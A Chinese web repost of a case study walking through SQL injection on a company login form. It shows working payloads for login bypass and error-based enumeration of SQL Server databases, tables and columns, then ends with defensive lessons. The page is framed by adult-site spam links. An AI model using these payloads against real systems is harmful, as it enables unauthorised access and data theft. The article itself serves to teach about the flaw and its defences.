六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

分享一個(gè)SQL注入的案例過(guò)程

[摘要]SQL注入有很大的危害,這篇文章就記錄了一個(gè)SQL注入的實(shí)例全過(guò)程,大家來(lái)看看他的危害到底有多大。初步注入--繞過(guò)驗(yàn)證,直接登錄公司網(wǎng)站登陸框如下:可以看到除了賬號(hào)密碼之外,還有一個(gè)公司名的輸入框,根據(jù)輸入框的形式不難推出SQL的寫(xiě)法如下:SELECT * From Table WHERE Nam...

SQL注入有很大的危害,這篇文章就記錄了一個(gè)SQL注入的實(shí)例全過(guò)程,大家來(lái)看看他的危害到底有多大。

初步注入--繞過(guò)驗(yàn)證,直接登錄

公司網(wǎng)站登陸框如下:

image

可以看到除了賬號(hào)密碼之外,還有一個(gè)公司名的輸入框,根據(jù)輸入框的形式不難推出SQL的寫(xiě)法如下:

SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'

我發(fā)現(xiàn)前兩者都做一些檢查,而第三個(gè)輸入框卻疏忽了,漏洞就在這里!注入開(kāi)始,在輸入框中輸入以下內(nèi)容:

image

用戶名亂填,密碼留空,這種情況下點(diǎn)擊登錄按鈕后竟然成功登錄了。我們看一下最終的SQL就會(huì)找到原因:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'

從代碼可以看出,前一半單引號(hào)被閉合,后一半單引號(hào)被 “--”給注釋掉,中間多了一個(gè)永遠(yuǎn)成立的條件“1=1”,這就造成任何字符都能成功登錄的結(jié)果。而Sql注入的危害卻不僅僅是匿名登錄。

中級(jí)注入--借助異常獲取信息。

現(xiàn)在我們?cè)诘谌齻(gè)輸入框中寫(xiě)入:“‘ or 1=(SELECT @@version) –”。如下:

image

后臺(tái)的SQL變成了這樣:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'

判斷條件變成了 1=(SELECT @@VERSION),這個(gè)寫(xiě)法肯定會(huì)導(dǎo)致錯(cuò)誤,但出錯(cuò)正是我們想要的。點(diǎn)擊登錄后,頁(yè)面出現(xiàn)以下信息:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.

可怕的事情出現(xiàn)了,服務(wù)器的操作系統(tǒng)和SQL Server版本信息竟然通過(guò)錯(cuò)誤顯示出來(lái)。

危害擴(kuò)大--獲取服務(wù)器所有的庫(kù)名、表名、字段名

接著,我們?cè)谳斎肟蛑休斎肴缦滦畔ⅲ骸皌' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--”,此時(shí)發(fā)現(xiàn)第三個(gè)輸入框有字?jǐn)?shù)長(zhǎng)度的限制,然而這種客戶端的限制形同虛設(shè),直接通過(guò)Google瀏覽器就能去除。

image

點(diǎn)擊登錄,返回的信息如下:

Conversion failed when converting the nvarchar value 'master' to data type int.

數(shù)據(jù)庫(kù)名稱“master”通過(guò)異常被顯示出來(lái)!依次改變上面SQL語(yǔ)句中的序號(hào),就能得到服務(wù)器上所有數(shù)據(jù)庫(kù)的名稱。

接著,輸入信息如下:“b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--”

得到返回信息如下:

Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.

我們得到了master數(shù)據(jù)庫(kù)中的第一張表名:“spt_fallback_db”,同上,依次改變序號(hào),可得到該庫(kù)全部表名。

現(xiàn)在我們以“spt_fallback_db”表為例,嘗試獲取該表中所有的字段名。在輸入框中輸入以下代碼:“b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');”

于是,得到錯(cuò)誤提示如下:

"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";

這樣第一個(gè)字段名“xserver_name”就出來(lái)了,依次改變序號(hào),就能遍歷出所有的字段名。

最終目的--獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)

寫(xiě)到這里,我們已知通過(guò)SQL注入能獲取全部的數(shù)據(jù)庫(kù),表,及其字段,為了防止本文完全淪為注入教程,獲取數(shù)據(jù)的代碼就不再描述,而這篇文章的目的也已達(dá)到,SQL注入意味著什么?意味著數(shù)據(jù)庫(kù)中所有數(shù)據(jù)都能被盜取

當(dāng)知道這個(gè)危害以后,是否還能有人對(duì)SQL注入漏洞置之不理?

結(jié)語(yǔ)

關(guān)于安全性,本文可總結(jié)出一下幾點(diǎn):

  1. 對(duì)用戶輸入的內(nèi)容要時(shí)刻保持警惕。

  2. 只有客戶端的驗(yàn)證等于沒(méi)有驗(yàn)證。

  3. 永遠(yuǎn)不要把服務(wù)器錯(cuò)誤信息暴露給用戶。

除此之外,我還要補(bǔ)充幾點(diǎn):

  1. SQL注入不僅能通過(guò)輸入框,還能通過(guò)Url達(dá)到目的。

  2. 除了服務(wù)器錯(cuò)誤頁(yè)面,還有其他辦法獲取到數(shù)據(jù)庫(kù)信息。

  3. 可通過(guò)軟件模擬注入行為,這種方式盜取信息的速度要比你想象中快的多。

  4. 漏洞跟語(yǔ)言平臺(tái)無(wú)關(guān),并非asp才有注入漏洞而asp.net就沒(méi)有注入漏洞,一切要看設(shè)計(jì)者是否用心。

【相關(guān)推薦】

1. 特別推薦“php程序員工具箱”V0.1版本下載

2. 如何防止sql注入?介紹5種防止sql注入的方法

3. 分享五個(gè)著名的SQL注入漏洞掃描工具

4. 分享一篇使用SQL注入漏洞拖庫(kù)的實(shí)例講解

以上就是分享一個(gè)SQL注入的實(shí)例過(guò)程的詳細(xì)內(nèi)容,更多請(qǐng)關(guān)注php中文網(wǎng)其它相關(guān)文章!


學(xué)習(xí)教程快速掌握從入門(mén)到精通的SQL知識(shí)。




主站蜘蛛池模板: 色香蕉在线观看 | 青草草在线视频 | 日本高清视频免费在线观看 | 性欧美高清极品猛交 | 色婷婷伊人 | 视频在线免费高清 | 午夜桃花| 天天艹天天射 | 午夜免费福利网站 | 亚洲精品亚洲人成在线 | 亚洲六区| 新版天堂资源中文在线 | 欧美伊人久久 | 亚洲啪啪网站 | 一区二区三区在线免费视频 | 性大特级毛片视频 | 片在线观看 | 天天天综合| 视频一区二区精品的福利 | 亚欧乱色视频小说 | 日韩一级黄色大片 | 日本亚洲视频 | 中文字幕精品波多野结衣 | 日韩在线激情 | 青青青影院 | 欧美限制级在线观看 | 伊人365影院 | 亚洲成人福利网站 | 日韩日b| 日韩第二页| 日本免费一区二区三区看片 | 日本高免费观看在线播放 | 日韩免费中文字幕 | 色综久久天天综合绕视看 | 一级做a爰片久久毛片16 | 午夜黄色 | 亚洲精品自拍 | 欧美性xxx| 最近2019中文字幕大全第二页 | 亚洲精品视频在线播放 | 欧美在线视频不卡 |